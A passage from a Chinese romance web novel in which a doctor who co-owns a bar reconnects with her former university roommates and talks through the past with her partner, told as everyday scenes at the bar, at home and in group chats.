吧台边坐着有人,就在齐眉对面,一位留着波波头的女士。 正一边转着手里的酒杯,一边跟齐眉说话:“我还是第一次做手术呢,心里确实挺害怕的,我姐妹说做全麻手术很容易社死啊,是真的吗?我好慌,到时候我不会把做过的蠢事都叽里咕噜说出来了吧?!” 田乐一边摇晃着手里的雪克壶,一边加入话题:“我在网上看到很多,感觉都可搞笑了。” “很多都是编段子的啦。”齐眉边往量酒器里倒酒,边安抚似的道,“反正我以前还念书的时候是没怎么见过,反正你得完全清醒以后,生命体征平稳了,才会被送回病房。” 所以就算真的说了什么,大概……也没什么人听到的吧。 “是么,所以全麻手术是个什么流程,我听说病人得把衣服都脱了?” “理论上是,但可以商量……”齐眉话说到这里,抬头看见江问舟,注意力立刻就被转移了,“你来啦?” 接着低头喊和年年蜷在一起的金金:“你爸爸来啦。” 江问舟笑笑,跟佟林和田乐打了声招呼,在吧台对面的小桌边坐下。 刚坐下又起身,转了一下椅子的方向,让椅背向着窗,坐下后便可以不用扭头也能看着吧台。 他看着齐眉握住雪克壶将它在胸前举起,随后小臂抬高,推送出去,收回,向下推送出去,一上一下,均匀又有节奏,再看同时也在摇壶的佟林,节奏明显比齐眉要快很多,动作也不一样,看起来应该是两种不同的摇酒方式。 冰块和杯壁碰撞的声音丁零当啷,在摇滚乐激情洋溢的节奏声里,像绝妙的和弦。 这一刻,江问舟觉得吧台就是一个舞台,演员是调酒师,他们同台表演,各有各精彩。 齐眉调好一杯酒,出去给客人送酒的时候,顺便把金金和年年也叫了起来,美名其曰:“别睡这么早,一会儿半夜该睡不着起来跑酷啦!” 江问舟失笑,问她:“年年今天遛过了吗?” “下雨,没怎么遛呢。”齐眉头也不回地回答道。 于是江问舟便一把揪住年年的耳朵,找到它的牵引绳给它套上,出门前还问金金:“你出不出去?” 回答他的是金金轻盈跳上吧台边的高脚凳的背影,大尾巴还甩两下,一副懒得搭理他的样子。 他笑笑,带着年年出门去了。 思齐路这边对于江问舟来说其实有些陌生,在他大学以前的十几年里,虽然长居容城,但活动范围基本围绕着家和学校周围,这边离得太远,哪怕好不容易来一趟,也只是路过而已。 他和年年沿着人行道一直走,走到了音乐学院门口,隐隐约约听见一阵悠扬的歌声,再往前走,歌声便更清楚了。 唱的是:“地冧天崩当闲事,就算翻风雨,只需睇到你,似见阳光千万里……”[1] 多让人熟悉的老歌,旋律轻快又甜蜜,江问舟忍不住循声找过去。 就在前面不远,在一个小超市门口,一位男青年抱着吉他在唱歌,他旁边坐着一位和他年纪相仿姑娘,正双手托腮满脸崇拜地看着他。 灯光下笑吟吟的脸孔温柔又甜蜜,让江问舟不由自主地想起齐眉。 爱着一个人的时候,这世间所有的姑娘连眉眼都相似。 江问舟在路边驻足,装作和年年一起看风景似的,听完了整首歌,然后在女生清脆的掌声和欢呼声里,带着年年转身折返。 真好啊,不管你是什么身份地位,财富几何,容貌怎样,总会有人爱你。 他带着年年一溜小跑着回到店里,看见金金在吃肉干,年年立刻冲过去表示自己也要。 江问舟将它的狗绳放开,在吧台边坐下。 这时原来坐在齐眉对面的那位女客人已经离开,她也闲了下来,正在整理吧台的东西。 江问舟趁机问:“忙完了?要不提前回去?” 齐眉看看时间,说再等一会儿吧,然后问他:“你想喝一杯吗?我们刚刚有客人点了一杯蓝月亮,你想试试吗?” “回去我得开车……”江问舟犹豫地摇摇头。 “我来开嘛,我又没有喝。”齐眉眨眨眼,诱惑他,“我可以给你用好东西哦,很贵的,光是进价就要三四百,我们平时都自己做着喝的,你不想试试吗?” 太贵了,所以为了控制成本,店售产品里用的紫罗兰利口酒只能用便宜一点的牌子,严格控制调配时的用量和比例,比如蓝月亮,要让调出来的蓝色调多于紫色调,这样才不会变成紫月亮。 江问舟听了她的解释,眉头一挑,爽快改口:“那我也试试。” 他看着齐眉在倒好金酒后,从柜子里掏出一瓶酒,小心翼翼地倒了一点,又盖上瓶盖把酒瓶放回柜子里,不由得失笑。 紫罗兰利口酒和金酒跟柠檬汁充分混合后,倒入加了冰块的蝶形香槟杯,浅蓝色的酒液缓缓淹没冰块,隔着起了一层白雾的玻璃杯,显得有些清冷,感觉真的如冷冽月光。 齐眉在酒杯上装饰了一片月牙形的柠檬片,将酒推到他面前,笑眯眯道:“尝尝,喜欢这个颜色的话,下次给你做蓝色玛格丽特,等等,还是蛮多蓝色调的鸡尾酒的。” 江问舟点点头,低头抿了一口,舌尖很敏锐地感觉到冰凉的酒液里有一丝烈酒的辛辣,但很快就消失,留下的是很清新的酸味,和紫罗兰利口酒带来的淡雅花香。 “很不错。”他抬头对齐眉笑笑,“我可以现在就要一杯蓝色玛格丽特吗?” “可以是可以。”齐眉乜他一眼,“但我有什么好处吗?我又不能收你钱。” “就当是……”江问舟眨眨眼,“就当是我帮你遛狗的报酬?” 齐眉立刻笑起来,跟他说:“只能最后一杯哦,你慢点喝,要不我们回去再喝也可以,家里也有这个酒。” “但是没有这个氛围。”江问舟扭头看向店里的客人,有人在高声说笑,有人在窃窃私语。 佟林突然切换了音乐,从摇滚变成抒情,店里的气氛立刻就不一样了。 齐眉笑着点点头,继续整理手里的东西。 整理了几下,又抬起头,再次叮嘱他:“不许喝太快哦。” 江问舟失笑:“知道,不会了。” 但最后那杯蓝色玛格丽特也没喝到,因为他喝得太慢了。 慢到最后一口酒刚喝完,就已经到了十一点半,齐眉说可以回去了。 出门的时候她推着他的肩膀往外走,边走还边夸他:“今天做得很好,下次继续保持,好吗?” 这才是小酌怡情嘛。 江问舟失笑,回头用胳膊勾住她的脖子将她从背后拉过来。 田乐看着他们的背影,跟佟林嘀咕:“阿眉和她哥感情这么好啊?” 佟林眨眨眼,没有多做评价,只说:“他们从小一起长大的,一起生活了二十年,感情好很正常。” “这倒也是。”田乐点点头,爽快地接受了这个说法。 ————— 回到家已经过了半夜十二点,严格来说已经是第二天了。 到家以后齐眉被催着去洗澡,江问舟则是去帮金金和年年洗爪子还有梳毛,等他忙完,齐眉也出来了。 “到你去洗啦。”齐眉招呼他,声音听起来很欢快,看样子是一点都不困。 江问舟笑着过去亲亲她,摸摸她头发,“吹干点再睡。” “知道知道。”齐眉应了声,转身将电吹风的插头插进在卫生间门口的插座里,隔着门和里面的江问舟说话,“后天请老师和师母吃的是午饭还是晚饭呀,吃完饭要不要去我们店里坐坐?” “也可以。”江问舟扬声应道,“不过师母有点酒精过敏,看来是没办法一饱口福了。” “没关系,我们有无醇饮品,或者只喝苏打水也可以啦。”齐眉应道,“那我拜托清葭姐明天多留几块蛋糕。” 顿了顿,她又问:“要叫上你的同事吗,江主任?” 上一次听到她这么称呼自己,是纪叔叔住院时,她去探病,受母亲吩咐,顺道给他送饭菜过去。 那次听到她在同事们面前叫他江主任,江问舟的心里要多不高兴就有多不高兴,觉得刺耳至极,听起来就像是一种讽刺。 仿佛在提醒他别忘了,他现在所能达到的位置,有一部分原因,是她牺牲了自己的正当权益,推波助澜得来的。 可是怎么可能忘得了啊,那是他迄今为止做过最亏的一次买卖,还很有可能是这辈子最不划算的一笔。 所以现在又听到齐眉这样叫他,他还是很不高兴,不满地抗议道:“你哥不喜欢你这么喊他。” 话说完了,门外先是没有任何回答,过了大约半分钟,江问舟才在吹风机的呜呜声和浴室的流水声里,听到一阵有些得意的嘻嘻笑声。 江问舟一噎:“……”笑点在哪里!道德在哪里?! 但齐眉好像玩上瘾了,嘻嘻笑了一会儿,又问他:“所以江主任你到底请不请同事呀?” 江问舟在花洒下咬了咬后牙槽,忍住手痒的感觉,半晌才应了句:“……我明天问问再给你答复。” “好哦,期待江主任的答复哦。”齐眉震声应了一句,接着就哈哈大笑起来。 她笑完了把电吹风一关,扭头看见跟在自己脚边的金金,大眼睛里满是好奇,忍不住弯腰抱起它,低头亲一下它的后脑勺。 “哎呀,这是谁家的小可爱呀?原来是我家的呀!” 江问舟在里面听到她的这番动静,既无语,又觉得好笑,他是真的不知道她的笑点在哪儿。 但好像其实也无所谓,他能感觉到从前的齐眉正在回来。 活泼狡黠的,会时不时就捉弄他的,他在她身边时总是觉得轻松又快乐。 当然,比起以前还是有变化的,变得随性很多,说是岁月让人成熟或者是想开了都行。 总之是变得更好了,他以前没想过齐眉的成长竟然还要经历这样的变故,江问舟轻轻叹口气,又忍不住笑起来。 齐眉吹好头发,听见卫生间门打开的声音,赶紧回房开始涂身体乳。 可等到她身体乳都涂完了,也没见江问舟回来,她忍不住跑出去看个究竟。 “江问舟你在干嘛呢?”她扒着卧室门的门框,探头往卫生间看。 这套房子面积不大,布局很紧凑,门和门之间离得不远,齐眉只往外走了一步,就可以看清卫生间里的情况。 江问舟正站在洗脸盆前,低头认真地搓洗她的贴身衣物,洗到裤子上的蝴蝶结,还啧了声。 “干嘛,蝴蝶结不好看吗?”齐眉立刻质问道。 害羞是不可能害羞的,毕竟这种事也不是第一次了。 “好看是好看。”江问舟慢悠悠地应道,“但我要是不小心扯坏了,怎么办?” 齐眉闻言顿时一脸高兴状:“你怎么知道我买了新的?” 江问舟顿时失笑,想吐槽都不知道从哪儿说起,半晌才啧了声:“这可是你说的,到时候不准骂我。” “我可不能给你这个保证。”齐眉撇撇嘴,转头回卧室,“你快点,都一点了,天要亮了!” 江问舟这下爽了,可算找到吐槽的角度了,“……你比妈厉害,她只是把早上八点说成十二点,你能把天黑说成天亮。” 齐眉笑嘻嘻地不搭腔*,钻回床上看手机,江问舟终于忙完回来,坐在床边扭头一看,就见她看购物网站。 还没来得及问她要买什么,就见她把手机往枕头底下一塞,翻身抱住了他的腰。 江问舟立刻就忘了自己原本想说什么,笑着摸摸她头上束头发的丝绸发圈,问她:“怎么了?” “没怎么啊。”齐眉摇摇头,脸靠着他,“快关灯,睡觉了。” 她说完闭上眼,等了一会儿发现没动静,她便又睁开眼。 恰好和江问舟低头看着她的目光撞在一起,柔软的眼角弧度衬得他眉峰的锐利锋芒都不明显了,齐眉不禁一愣。 这种时候吻到一起去是自然而然的事。 江问舟的吻总是炙热缠绵又长久,齐眉知道自己不管怎么样抵抗都没用,索性从一开始就让他主导。 她蜷缩在他怀里,起初耳边是他沉稳有力的心跳,和平稳的呼吸。 渐渐的,心跳开始乱拍,呼吸也变得急促,齐眉伸手搂住他的脖颈,手掌贴上去的时候,似乎触及到了他的搏动的颈动脉,像奔流的河水,那么急切,那么汹涌。 齐眉觉得自己像被卷入了海洋,起起伏伏之间四处没个着落,于是她更加用力地攀住江问舟的肩膀,把他当成一块浮木,整个人挂了上去。 江问舟的腰被她用小腿牢牢扣住,不停地向她贴过去,很快俩人之间就变得密不透风,齐眉被他完全笼罩在怀里。 这时就觉得那两层衣服碍事了。 江问舟贴在她的耳边,叹了口气:“你夏天怎么穿这么厚的睡衣啊?” 齐眉一愣,旋即靠在他怀里一边喘气一边吃吃地笑。 半晌才仰头亲亲他的面颊,小声说:“我觉得我咳嗽好差不多了,你觉得呢?” 江问舟沉默片刻,深吸口气:“但是家里没有……” 他顿了顿,声音变得有些紧绷:“……你先放开。” 察觉他身体的变化和他突变的声音一样明显,齐眉连忙松开他,还从他怀里滚了出去。 滚到床的另一边之后,她刚想问他还好吗,就见他掀开被子要下地。 她眨眨眼,问道:“叫外卖啊?” 江问舟一噎,背对着她头也不回,没好气道:“……我去洗澡。” 但也不至于急成这样,都快半夜两点了,还非得叫外卖送计生工具上门。 齐眉有些不好意思,讪笑着缩进被子里闭上眼,只听见卧室门打开发出的声音。 其实真的很晚了,哪怕是往常她十二点过了才从店里下班,这时也已经到了她要睡的时候。 所以在江问舟出去之后没多久,齐眉就昏昏沉沉地睡了过去,根本不知道江问舟什么时候回来的。 只知道突然有那么一会儿,身边多了个很凉快的东西,有点像她才买回来的凉枕,舒服得她立刻手脚并用地抱住。 江问舟好不容易在卫生间平复了身体的躁动,回到房间刚躺下,就被齐眉又一把抱住,她身上的馨香不停地往他鼻尖钻,让他不由得浑身一僵。 刚被凉水冲刷过的皮肤似乎在这一刻又有变得滚烫的趋势。 但好在睡着的齐眉很老实,能保持一个姿势一动不动很久,江问舟抱着她,努力摒除脑海中乱七八糟的杂念,慢慢也有睡意上涌。 齐眉睡醒的时候身边没人,但却有一团毛茸茸,金金在她怀里睡得正香,呼呼的声音像一辆小摩托。 再探头一看,年年也睡在床边。 一定是江问舟出去之前把它们放进来的。 齐眉起身逗了它们一会儿,接着打开手机,看到有不少未读信息,有同事的,也有孙茂芸发来的,问她今天回不回去。 齐眉犹豫片刻,决定中午还是回去一趟,但就不带年年和金金了。 之后看到组长杨恒昨晚发的朋友圈,说大学同学聚会了,这么多年过去,感觉大家都变了很多,云云。 还配了九宫格的照片,有旧的,是一群尚且青涩的年轻人的合照,也有新的,在酒店包厢,大家举着酒杯,不知喝进去的是岁月的感慨,还是往事的回忆。 齐眉突然就想起,之前江问舟跟她说过她几位大学室友的事,当时说有空了会登一下旧微信,要和大家恢复联系。 可是好些天过去了,她一直没有做。 也不是完全就忘了,她也把旧手机笑了出来,还充满电开了机,但看着那个微信图标,她就是怎么都点不下去。 惶惑、忐忑,她的内心充满了近乡情怯式的情绪。 于是犹豫再三,还是没有登陆旧微信。 可人总该要面对自己,面对以前的事,不管过去多久,对吧? 要不就趁现在吧,齐眉深吸一口气,抱着金金弯腰拉床头柜的抽屉。 刚把旧手机拿出来,江问舟的电话就来了。 她以为他是要问她起床没有,可还没来得及调侃他这是查寝行为,就听他说:“姚敏想要加你微信,同意么?同意的话,我给你推她的名片?” 齐眉一愣,怎么会这么巧啊? “……她、你们有联系吗?”她半晌才有些磕巴地开口问,“她、她怎么突然联系你?” 江问舟解释道:“她们休年假,要来容城玩,想来看看你,但不知道你愿不愿意见她们,所以先找了我。” 原来是这样,齐眉连忙摇头:“怎么会……” 她的声音突然卡住,根本不知道要说什么才好,她一直没有登陆旧微信的原因之一,就是怕出现这样的场面。 相顾无言,除了一句“我回来”“啊你回来啦过得好吗”,就再也没什么可说的了。 物是人非的感觉太讨厌了。 江问舟多少能理解她的心情,便笑了一下:“那我让她加你好了,正好你们都休息,可以聊一下容城有哪儿好玩的,我说我们本地人都不去电视塔,她还不信。” 齐眉被他这话逗笑,原本忐忑的心情放松了一点。 江问舟嘱咐了几句记得吃早饭的话就把电话挂了,过了十来分钟,齐眉看到微信首页通讯录那个位置多了个小红点,立刻点过去一看,果然是姚敏的好友申请。 验证信息写着:【三年之期已到,齐小眉你还不回来,床位就不保留咯!】 开玩笑的话,齐眉看了却忍不住眼睛一涩。 她想起以前还在学校时,她从宿舍搬出来时,姚敏她们还笑着吐槽,说你走啦那我们就把东西放你床上咯。 她说可以呀,可是隔了好长一段时间她难得回去一趟,却发现她的床上还是干干净净的,凉席连一点灰尘都没有。 姚敏说,是宿舍打扫卫生的时候顺手帮你擦了一下而已啦。 可要不是有心,谁会顺手那么一下。 齐眉感觉自己的情绪有点要崩,赶紧在通过姚敏的好友申请之前,给孙茂芸发信息,说自己这边有点突发情况,临时改主意不回去了。 好友申请刚通过,姚敏的视频通话就打了过来。 齐眉咬了咬舌尖,忐忑地接通。 镜头有些摇晃,背景似乎是在书房,她听到关门声,接着就是姚敏的尖叫:“齐眉!你终于出现啦!!!” 语气里的兴奋溢于言表:“我靠!你再不出现我都快以为再也见不到你了,呜呜呜,呸呸呸!” 齐眉被她这样一闹,心里的忐忑突然就烟消云散了。 她发现自己原来担心和害怕的物是人非并不存在,岁月仍似她们来时,故人还在。 第49章 第四十九章(二合一)真没想到有朝一…… “我听江问舟说,你现在在民航医院上班,怎么样,爽不爽?” “还行吧,上一休二,时间宽松,但没什么晋升途径,同事的平均年龄不小,适合没什么追求或者在医院累狠了想休息的人来躺平。” “靠,上一休二,嫉妒了,你知道姐们现在在哪儿吗?急诊科,啊啊啊!没想到吧,姐们去干急诊了!” “这么厉害!” 姚敏哈哈大笑,说这下轮到我来骗大家这个病人问题不大了,终于过上了以前最讨厌的人的日子。 齐眉忍俊不禁,说:“你不会被徐丹若骂吧?” 她已经听江问舟说过,姚敏和徐丹若毕业后阴差阳错的进了同一家社区医院,蒋乐亭则是继续攻读博士。 “笑死,有一次她半夜给我打电话,我说你咋啦,她说是来骂我的,因为我同事给她收了一个端坐呼吸的病人,还跟她说病人挺好的,自主入院,可不是么,自己坐着轮椅让家属推来的,没叫救护车,她骂我说,你们这些急诊的嘴里就没一句实话!” 说完她自己就忍不住哈哈大笑起来。 齐眉忍俊不禁,向她问起蒋乐亭和徐丹若的近况。 姚敏嗐了声:“就那样呗,蒋乐亭结婚了,过得还行,就是论文难搞,我们都说看她那样搞不好要延毕,幸好她和她老公已经达成共识,不毕业不考虑要小孩,不然真的不知道怎么办。” “可是她毕了业就得就业,刚开头起码两年都是工作的关键时间,也没办法怀孕吧?”齐眉听了忍不住道。 “没办法嘛,这种事总归是女性吃亏的咯,不管她什么时候怀,感觉都不是好时候,读书的时候忙论文没时间,刚开始工作也不行,不稳定,等干了两三年稳定了,又可能面临上升期。” 姚敏长长叹口气:“难呐——你说为什么男的没这顾虑?” “因为男性生子还没能实现。”齐眉回答道,问她,“徐丹若呢,她怎么样?” “一句话总结就是事业顺利,情场失意。”姚敏叹口气,“我们是社区医院嘛,就算是个很大的社区医院,但工作强度其实还好,比我们以前读研规培的时候轻松,收入也比那会儿多,有盼头。” 所以毕业工作以后,徐丹若很快就谈了个男朋友,是她去看演唱会的时候认识的。 “开头还挺浪漫的,他们当时坐隔壁,歌单里有一首歌是男女对唱的,歌手请了当初合作这首歌的女歌手当嘉宾,到这首歌的时候,他俩跟唱,不知道怎么的就很默契的你男声部分我女声部分合唱起来,唱完了还互相谢谢对方配合自己。” 齐眉听了噗嗤一笑,觉得还怪有趣,她能想象到那种一本正经又很搞笑的场面。 “后来呢?”她问。 “后来散场了他们就聊了几句,知道双方都是自己来看的,聊完就散了。”姚敏道,“加上联系方式是后来,那个歌手的演唱会是全国巡演嘛,申城场之后是苏州场,徐丹若也去了,刚好见到他,而且都在内场一前一后的座位,觉得既是同好,又有缘分,就交换了联系方式。” 他们从共同喜欢的歌手开始聊,分享彼此喜欢的歌,和听这些歌时的心情和感悟,交换无料,慢慢的聊到私人生活的其他方面,爱好、工作、学校、家人,聊得越来越多,也走得越来越近。 “你都不知道他们刚谈上那会儿,徐丹若多上头,我想约她吃个饭根本约不到。”姚敏吐槽,说一开始徐丹若还骗她说是工作太忙了。 “一点都不老实,同一个单位的,他们科忙不忙我还不知道?” “所以她现在在哪个科室?”齐眉边笑边问。 “肿瘤内科,妇科肿瘤方向的。”姚敏说到这里笑了一下,“倒是做了你原来的本行。” 齐眉笑着应声是,接着问她:“江问舟说你们要来容城玩,什么时候来呀?” “就最近!”姚敏开心道,“我们几个凑了一下假期,也就这会儿能大家都有空了,蒋乐亭说干脆去找你算了,我们就一拍即合。” 说到这里她啧啧两声:“齐老板你真是出息了,留姐妹仨在医院当黑工。” 齐眉听了直笑,跟她说等她们来了就请她们去店里喝酒,满口承诺管够,随便喝。 在这样日光灿烂的夏日早上,她们俩聊起大家的近况,而不是往事。 姚敏没有问齐眉为什么被方仕平欺负了不告诉她们,为什么走就走了还要和她们断联,她们要聊的事太多了,光是徐丹若后来和那男的没什么分手就能聊半个小时,哪有空提那些讨厌的人。 聊到最后彼此的手机都没电了,手机背面烫得能烤肉,这才匆匆切断通话。 齐眉这才发现时间已经越过中午十二点,金金和年年都开始吃午饭了,原来她们已经聊了这么久。 突然觉得有点口干舌燥,喉咙似乎还有些疼,急需喝杯水润润嗓子。 也是这时才看到江问舟十一点半左右发的消息,说中午不回来吃了,给她点了外卖。 齐眉一边抱着新买的吸管杯喝水,一边回他信息,问他:【你怎么知道我在家呀,万一我回家去了呢?】 江问舟等了一个小时才等来这么一句回复,有些哭笑不得:【刚跟姚敏聊完吧?】 他还能不知道她?跟人聊起天来根本不知道时间,还回家呢,路上那两个小时多耽误她聊天啊! 齐眉刚笑嘻嘻地回了个表情包,就接到了外卖小哥的电话,说外卖给她挂在门口了。 道了声谢,她赶紧起身把外卖取回来,发现江问舟给她点的是炸猪排饭,猪排还是加倍的,看起来肉比饭还多。 餐盒从袋子里拿出来,打开一看,炸猪排金黄金黄的,看着让人十分有食欲,连搭配的包菜丝看着都顺眼多了。 齐眉夹起一块咬了一口,肉虽然不厚,但很嫩,而且是那种没加科技的嫩,纯粹是肉新鲜加手艺好。 她立刻给江问舟反馈,问他怎么挑到这家店的:【不会是有什么点外卖的金手指吧[思考]】 江问舟看了一阵忍俊不禁,从保存的她发过给他的表情包里挑了一个回给她:【[对,就这么宣传我.jpg]】 但其实是实验室的学生介绍的,十一点的时候就有人问中午吃什么,选择困难症们就开始纠结了,但是当他问哪家的猪排饭好吃,大家都不约而同地推荐了同一家。 刚讲完这事,齐眉就发现自己被姚敏拉进了一个群。 群还是她们以前的寝室群,但人数变成了(5),齐眉看了一眼群成员信息,@姚敏:【把我以前那个号踢了呗。】 姚敏还没吱声呢,蒋乐亭先冒头了:【哦哟,某人当了老板就是不客气哈,刚进群就让我们踢人啊[狗头]】 接着是徐丹若:【不踢,你让我们踢我们就踢岂不是很没面子[左哼哼]】 齐眉超上道的,立刻发了个红包,抢完以后俩人果然态度大变。 蒋乐亭:【老板大气,老板你说什么就是什么[爱你]】 徐丹若:【@姚敏,姐们在吗,来把那个谁踢了,我们寝室不是一直四个人吗?】 齐眉:【啧啧啧[指指点点.jpg]】 大家嘻嘻哈哈一阵,发起的话题和她跟姚敏聊的差不多,都是只聊这两三年彼此的近况,不说更早之前的事。 最关心的话题,其实还是齐眉和江问舟。 蒋乐亭:【当时我结婚他过来,随份子的时候红包上还写的是你和他的名字,帮忙收礼金是我表姐,看到两个名字还问他另一个人呢,他说,她工作太忙请不出来假我代为出席。】 蒋乐亭:【那时候我就知道他肯定放不下,就你们的关系吧,太复杂了,感觉怎么理都理不清,你俩另外跟谁在一起都对那个人,就该锁死[这是能说的吗.jpg]】 徐丹若立刻接着问:【所以现在你俩算是复合啦?】 齐眉说是,至于原因也很好理解:【我受不了我可能有个嫂子:)】 徐丹若:【正常,毕竟爱情是排他的。】 姚敏这时来了,先是把齐眉原来的号移出群聊,人数重新变成(4),接着提出群通话:【打字累死了,还是说话痛快,阿眉快让我们看看你那边的风景[色]】 于是等群通话接通后,齐眉一边说着这边太晒啦只有大太阳,一边开了摄像头,举着手机往阳台走。 “让你们看看我的花吧,这个天气蓝雪花开得特别好,爆花了,快看!” 蓝紫色的花朵在花架上盛开得热热烈烈,特别好看。 镜头接着转向一旁的窗户,透过窗玻璃往外看,是艳阳高照的好天气。 “这个时候的容城很热啊,七月份也是,还会下雨,就像一个蒸箱一样,你们想出去玩恐怕有点难,但要是想来我家玩的话就还好。” 蒋乐亭笑道:“主要是去找你嘛,出不出去玩没关系,有好吃的就行。” “这很好办,容城别的不多,好吃的还是能管够的。” 话正说到这里,忽然年年跑了过来,齐眉连忙将它叫住,把镜头对准它。 “你给你们看看我家狗子,还有……”她抬眼张望,找到躲在大书桌底下的金金,“还有我们家的小猫咪。” “你这日子也太爽了。”蒋乐亭忍不住吐槽道,“猫狗双全,哪像我们,自己都照顾不好,哪有时间管小猫小狗。” 看完金金和年年,蒋乐亭又问起齐眉的店,“上班那么忙,还能有时间管店里的事么?” “其实还是我表嫂操心多一点。”齐眉道,“就算是夜场的酒吧,也有人能管,我反而去不去都不影响,而且我说忙其实也还好,不少同事都有副业的。” “主要你们这上一休二的时间安排,那两天不干点副业多挣点,感觉是亏了。” 话题立刻又歪了一点,开始讨论如果是自己,能干什么副业。 徐丹若是本地人,所以说可以回家啃老,蒋乐亭还在忙论文,说她不想做副业,但如果有人能帮她写论文,她会感激对方八辈祖宗…… 嘻嘻哈哈到最后,只有齐眉真的在提议大家去搞点副业:“你们对医院熟悉,可以利用休息日去做陪诊呀,现在医院尤其是大医院,布局都比较复杂,还有新的系统,挂号啊打印结果啊,等等,很多人都搞不明白的,有的甚至不知道自己该挂哪个科室,还有很多人是自己在申城打拼的,看病的时候如果有个懂的人,帮忙跑一下流程,拿一下东西,哪怕是一起壮个胆也好,一趟收个两三百应该可以吧?你一个月做四单,陪四个人去看病,那就是差不多一千块了!” 以前念书的时候可能对一千块还没太大概念,可是现在工作的工作,成家的成家,什么都要自己掏腰包了,一千块是什么含金量没人不知道吧? “而且这事我们做本来就有优势,医院里头那些弯弯绕,谁能有咱清楚啊。”姚敏点头赞同道。 聊得太高兴,等屏幕突然一黑,才发现手机又没电了。 齐眉愣了一下,连忙充上电重新开机,再次杀回群里。 江问舟回来的时候,看到的就是齐眉躺在沙发上玩手机的样子,年年趴在柜式空调的下方吹冷气,金金黏在齐眉的肚子上打瞌睡。 而屋子里安安静静,好像时间忽然静止。 等了一会儿,他才终于打破沉默:“我回来了。” 齐眉从群聊里回过神,将手机往旁边一扔,甚至没注意金金,直接就坐起来,然后往他身上扑。 江问舟接住她,看一眼滚到沙发上两眼懵逼的金金,笑着问:“这么热情啊?” 齐眉抱着他的脖颈,好半天没说话。 只是胳膊越收越紧,泄露了她不算平静的情绪。 江问舟拍拍她的背,正要问怎么了,就听她忽然间开口说了句:“江问舟,谢谢你。” 声音听起来闷闷的,似乎还有一丝轻轻的哽咽。 ————— 江问舟没有想到自己才出门不到一天,就好像有点跟不上齐眉的思路了。 不由得纳闷:“谢我什么?” 天啦,我和我女朋友出现代沟了?才五岁的年龄差,应该不至于……吧? 齐眉不知道他心里的吐槽,自顾自说着心里话:“我今天和姚敏她们聊了很久。” “我知道,然后呢?”江问舟嗯了声,抱着她往客厅里挪。 挪到沙发跟前,看一眼猫没过来,这才放心地坐下。 齐眉坐在他腿上往他怀里挤,“聊得很开心。” “不奇怪,你们以前关系就很好。”江问舟点点头应道。 但还是不解,这跟他有什么关系?又不是他让姚敏她们来陪她聊天的。 “我之前……”齐眉咬咬嘴唇,“上次你建议我登一下旧微信,我本来想登的,但是有点……害怕,虽然我不想承认,但这是事实。” 她垂着眼,神色有点赧然。 她害怕看到大家可能给她发的信息,追问她和江问舟是怎么回事,还有那些流言是不是真的,诸如此类。 “也怕点开聊天框之后不知道和大家说什么。”她抿着唇,声音闷闷的,“人和人之间就是这样的嘛,很久没聊过天,又没有共同的生活圈子,注定越走越远的,所以我……” “害怕自己满心期待地找到对方,结果是物是人非?”江问舟接着她的话问道。 齐眉点点头,有些不好意思:“这样是不是有点矫情?” “怎么会,这是人之常情,近乡情怯不就这样?”江问舟失笑,搂着她的肩膀拍拍,温声道,“我回来以后,第一次和你见面那会儿,也差不多是这样的心情。” 齐眉一怔,抬头错愕地看着他:“……真的假的?” “当然是真的了。”江问舟说着往后一仰,靠在沙发背上。 齐眉便跟着歪倒趴在他怀里,好奇地问:“怎么说?” “就是想见到你,又害怕见到你。”江问舟摸摸她头发,声音莫名有些惆怅,“很担心你是不是愿意见我,也很担心自己会因为太久没跟你见过面,不知道能说什么。” “想跟你说方仕平倒台啦,他女儿也要倒霉啦,不知道你喜不喜欢听。” “想问你当年为什么要那么做,后不后悔,不知道你愿不愿意回答,也好像没必要问,过去的事再提有点像揭你伤疤,对吧?” “我还想问……问问你,还愿不愿意和我在一起,却总是话到嘴边就说不出口,怕听到你说不愿意,我好像……潜意识里就觉得你是不愿意的,我怕听到你的拒绝之后会口出恶言,当然,我也不知道继续在一起是好是坏……” 总之是非常纠结,心情乱到自己都整理不清楚,要等真的见到她以后,才知道自己想要什么。 “我想要你,西西,我没有办法接受你会和其他人在一起,那段时间我一边纠结,一边满怀希望,以为我们还有很多时间可以慢慢来,直到我不小心听到你和任小姐的对话。” 那时候才终于发现,原来她最后给他发的那条信息都是真心话。 “原来和我在一起那么辛苦啊,我当时想……” 江问舟说到这里,忽然停了下来,深吸一口气,低下头,将脸贴在齐眉的脖颈上。 声音变得闷闷的:“要不还是算了吧,两个人在一起,最要紧的就是彼此都觉得快乐和自在,我以前觉得你越来越优秀,越来越耀眼,就是我们这段感情的最好见证,所以我特别自信,觉得可以说服爸妈接受我们,因为父母最大的希望就是孩子可以幸福,我们在一起不正一举两得吗?” 但是听到她和任清葭的对话之后,他不敢这样认为了。 “只有我一个人觉得快乐的话,其实就没必要再勉强在一起了,对吧?” 所以他才会答应孙茂芸,去跟陈阿姨的侄女见见面,就是想试试看,自己有没有可能接受另一个人。 “后来觉得不可以,你知道的,死在最美好那一年的白月光才会是永远的白月光,而且我们之间的关系毕竟真实存在过,我也不敢保证哪一天就被发现,万一真被发现了会引起什么样的家庭大战……与其这样,不如我一直一个人好了。” 但没想到他向另一条路迈出的第一步,就收到了意外之喜。 “早知道还能这样,我就早点那什么了。”他有些嘟囔似的,说完叹口气。 齐眉都听得愣住了,她还是第一次这么完整地听到江问舟的心路历程。 纠结程度一点都不比她的少! 她愣了好半晌才回过神,连忙捧住他的脸,急急表白:“可是我没有不开心啊,辛苦是有一点,但是绝对没有不开心!” “……是么?”江问舟抬起头,晶莹的双目和她对视着,神情似乎有些将信将疑。 “当然!”齐眉用力点点头,“以前很开心,现在也很开心。” 和喜欢的人在一起,怎么可能会不开心呢? 爱一个人的时候,多辛苦都觉心甘情愿,这和时候觉得当时的坚持很辛苦一点都不冲突。 可江问舟其实已经不那么敢相信她这句话了,因为这人有时候过于能装,万一她又是为了哄他才故意这么说的,怎么办? 于是他最后也只是笑笑,点点头应了声好,随即立刻转移话题:“所以你不用担心太多,想找回以前的朋友就直接跟对方聊一下好了,如果你不想看到别人发给你的某些话……” 他顿了顿,问她要旧手机,“先登录过去看看,不中听的我就删了,你就当不知道,有用的信息我留下来,你有时间再看,怎么样?” 齐眉震惊:“……还能这样吗?” “事在人为,办法都是人想出来的,或者都别看,你手机给我,我把那个号的密码改了,永远别登上去,那就永远看不到上面的信息,过去的事一点都不重要,你想和谁再复联?我帮你找联系方式,莫教授?” 这才一了百了呢,省得看到些让人不高兴的东西。 齐眉犹豫片刻,还是点头答应了。 